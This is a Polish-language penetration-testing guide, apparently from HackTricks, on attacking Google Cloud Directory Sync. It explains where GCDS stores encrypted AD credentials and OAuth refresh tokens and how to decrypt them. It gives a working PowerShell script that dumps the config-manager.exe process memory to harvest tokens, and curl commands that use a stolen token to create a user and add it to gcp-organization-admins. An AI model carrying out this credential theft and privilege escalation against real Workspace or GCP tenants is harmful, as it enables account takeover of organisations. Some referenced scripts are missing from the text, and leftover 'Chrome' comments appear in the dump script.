To narzędzie, które można wykorzystać do synchronizacji użytkowników i grup aktywnego katalogu z Workspace (a nie odwrotnie w momencie pisania tego tekstu).
Jest to interesujące, ponieważ jest to narzędzie, które będzie wymagać poświadczeń superużytkownika Workspace i uprzywilejowanego użytkownika AD. Dlatego może być możliwe znalezienie go na serwerze domeny, który synchronizowałby użytkowników od czasu do czasu.
Aby przeprowadzić MitM na binarnym pliku config-manager.exe, wystarczy dodać następującą linię w pliku config.manager.vmoptions: -Dcom.sun.net.ssl.checkRevocation=false
Zauważ, że Winpeas jest w stanie wykryć GCDS, uzyskać informacje o konfiguracji i nawet hasła oraz zaszyfrowane poświadczenia.
Zauważ również, że GCDS nie synchronizuje haseł z AD do Workspace. Jeśli już, to po prostu generuje losowe hasła dla nowo utworzonych użytkowników w Workspace, jak można zobaczyć na poniższym obrazku:
GCDS - Tokeny dysku i poświadczenia AD
Binarne pliki config-manager.exe (główny plik GCDS z GUI) będą przechowywać skonfigurowane poświadczenia Active Directory, token odświeżania i dostęp domyślnie w pliku xml w folderze C:\Program Files\Google Cloud Directory Sync w pliku o nazwie Untitled-1.xml domyślnie. Chociaż może być również zapisany w Dokumentach użytkownika lub w dowolnym innym folderze.
Ponadto, rejestr HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui wewnątrz klucza open.recent zawiera ścieżki do wszystkich niedawno otwartych plików konfiguracyjnych (xml). Tak więc możliwe jest sprawdzenie tego, aby je znaleźć.
Zauważ, że tokenodświeżania i hasło użytkownika są szyfrowane za pomocą AES CBC z losowo wygenerowanym kluczem i IV przechowywanym w HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util (gdziekolwiek biblioteka prefs Java przechowuje preferencje) w kluczach ciągów /Encryption/Policy/V2.iv i /Encryption/Policy/V2.key przechowywanych w base64.
Skrypt Powershell do odszyfrowania tokena odświeżania i hasła
</details>
<div data-gb-custom-block data-tag="hint" data-style='info'>
Zauważ, że możliwe jest sprawdzenie tych informacji, przeszukując kod java **`DirSync.jar`** z **`C:\Program Files\Google Cloud Directory Sync`**, szukając ciągu `exportkeys` (ponieważ to jest parametr cli, którego oczekuje binarny `upgrade-config.exe`, aby wyeksportować klucze).
</div>
Zamiast używać skryptu powershell, możliwe jest również użycie binarnego **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** z parametrem `-exportKeys` i uzyskanie **Key** i **IV** z rejestru w formacie hex, a następnie użycie cyberchef z AES/CBC oraz tym kluczem i IV do odszyfrowania informacji.
### GCDS - Zrzut tokenów z pamięci
Podobnie jak w przypadku GCPW, możliwe jest zrzucenie pamięci procesu `config-manager.exe` (to jest nazwa głównego binarnego GCDS z GUI) i będziesz w stanie znaleźć tokeny odświeżania i dostępu (jeśli zostały już wygenerowane).\
Myślę, że można również znaleźć skonfigurowane poświadczenia AD.
<details>
<summary>Zrzut procesów config-manager.exe i wyszukiwanie tokenów</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
Remove-Item -Path $dumpFolder -Recurse -Force
GCDS - Generowanie tokenów dostępu z tokenów odświeżających
Używając tokena odświeżającego, możliwe jest generowanie tokenów dostępu przy użyciu tego tokena oraz identyfikatora klienta i tajnego klucza klienta określonych w następującym poleceniu:
Zauważ, że nawet posiadając token odświeżający, nie można zażądać żadnego zakresu dla tokena dostępu, ponieważ można żądać tylko zakresów obsługiwanych przez aplikację, w której generujesz token dostępu.
Ponadto, token odświeżający nie jest ważny w każdej aplikacji.
Domyślnie GCSD nie będzie miał dostępu jako użytkownik do każdego możliwego zakresu OAuth, więc używając poniższego skryptu możemy znaleźć zakresy, które można wykorzystać z refresh_token, aby wygenerować access_token:
#### Utwórz użytkownika i dodaj go do grupy `gcp-organization-admins`, aby spróbować eskalować uprawnienia w GCP
```bash
# Create new user
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/users' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"primaryEmail": "deleteme@domain.com",
"name": {
"givenName": "Delete",
"familyName": "Me"
},
"password": "P4ssw0rdStr0ng!",
"changePasswordAtNextLogin": false
}'
# Add to group
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"email": "deleteme@domain.com",
"role": "OWNER"
}'
# You could also change the password of a user for example
Nie można nadać nowemu użytkownikowi roli Super Admina, ponieważ token odświeżania nie ma wystarczających zakresów do nadania wymaganych uprawnień.